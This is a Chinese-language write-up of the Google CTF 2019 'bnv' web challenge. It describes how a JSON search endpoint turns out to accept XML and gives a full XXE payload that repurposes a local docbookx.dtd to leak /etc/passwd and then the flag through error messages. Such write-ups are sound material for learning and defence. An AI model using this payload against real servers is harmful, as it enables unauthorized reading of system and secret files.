前言

Google CTF 2019 刚过不久,来一波复现~

题目

题目地址是 https://bnv.web.ctfcompetition.com/

题目描述:

这是一个没有啥好看的 enterprise-ready™ Web应用程序。

搞!

点开链接一看,为什么这么黑……

从网页标题和中间的图片很明显是盲文,结合题目,应该是一个盲人用的网站?

网页中央是说“请使用这个搜索引擎,找一个离你最近的组织”,下拉框有三个城市可选。

先看一下搜索会发生啥吧:

POST 搜索接口一条 message,估计是盲文代码?然后返回了相应的信息。

看一下 JavaScript 是怎么写的吧:

数一数 blindvalues 数组,刚好 26 个,猜想是不是字母一一对应捏,打开 Console 验证一下:

跟 message 一模一样~ 先想一想,如果该题是 SQL 注入的话,那这题只能使用纯字母,并且忽略大小写,这个有点难整啊…… 使用特殊标点符号 Fuzz 一下,一点用都没有。

思来想去,搜到了一个奇妙的渗透手法:基于 Json 的 web 服务也有可能存在着 XXE 注入!试一试提交 XML:

哎嘿?似乎可行?扔一个和提交 Json 相同意义的 XML 试试?

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message[
    <!ELEMENT message ANY>
]>
<message>135601360123502401401250</message>

哎嘿?似乎成功近在眼前了?赶紧翻 payload……整了好久,在 Burp 官网上看到了一个比较新颖的使用本地 DTD 读取文件的方法 Exploiting XXE to retrieve data by repurposing a local DTD

这个 payload 主要是利用错误信息来打印目标文件的内容,重新定义了 docbookx.dtd (一般有 Gnome 就有它)里面的 ISOamso。我们提交了这个 payload 之后,当导入本地的 DTD 文件时,会优先执行我们定义的 ISOamso,因此可以达成任意文件读取。

使用该 payload 成功读取:

<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % ISOamso '
        <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
    '>
    %local_dtd;
]>

猜一下路径 /flag,对啦✔

总结

算是一道不错的 XXE 利用题目,又学习到了新的利用方式~